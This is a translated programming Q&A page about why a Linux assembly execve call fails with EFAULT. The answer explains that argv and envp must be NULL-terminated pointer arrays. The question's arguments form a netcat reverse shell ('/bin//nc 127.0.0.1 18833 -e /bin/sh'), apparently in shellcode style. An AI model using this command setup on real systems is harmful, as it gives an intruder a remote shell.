簡體   English   中英

Linux Sys_execve不會在程序集中運行

[英]Linux Sys_execve wont run in assembly

我正在編寫一個匯編程序,該程序需要調用netcat並通過Internet執行程序。

據我了解,對於execve命令,您將EBX寄存器指向要運行的程序,該程序最后以空字節終止。 您將ECX寄存器指向參數,這些參數由arg列表末尾的2個空字節與空字節分隔。 您只需將EDX設置為一堆空字節。

在我的命令int0x80執行命令時,我的寄存器如下所示:

Eax:11#系統調用
EBX:0x0783140#/ bin // nc
ECX:0x078314a #args
EDX:0x07831a4 #env

這是ascii中0x0783140處的內存值:

[空字節] = 0x00

/ bin // nc [null字節] 127.0.0.1 [null字節] 18833 [null字節] -e [null字節] / bin / sh [null字節] [null字節]

EBX指向'/ bin // nc'
ECX指向'127.0.0.1'
RDX只是指向一堆空字節

該程序將到達int 0x80調用,但是它將立即返回並將0xfffffff2放入EAX寄存器中。

任何幫助都會很棒。

編輯:感謝ephemient,我現在能夠實際運行netcat,但是不知何故,我認為程序無法正確讀取我的args。 我認為這是因為netcat運行,但立即退出,退出代碼為1,並且未建立與我的偵聽器的連接。

ecx現在在內存中指向此位置(請注意,為了便於閱讀,我在地址之間放置了空格,但它們在我的程序中不存在):

0x78315e 0x783168 0x78316e 0x783171 0x00000000

0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]

我已四倍檢查地址是否實際指向上面的askii值

您得到errno=EFAULT (0xfffffff2 = -14,14 = EFAULT),表明您正在向系統調用傳遞錯誤的地址。

SYS_execve接受3個參數,但是第二和第三個是指向參數/環境字符串的NULL終止的指針數組,而不是由nul分隔的組件組成的單個字符串。 將字符串解釋為指針數組,意味着該字符串的前4個字節被解釋為第一個字符串的地址,但這不是有效地址,因此為EFAULT。

SYSCALL_DEFINE3(execve,
                const char __user *, filename,
                const char __user *const __user *, argv,
                const char __user *const __user *, envp)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM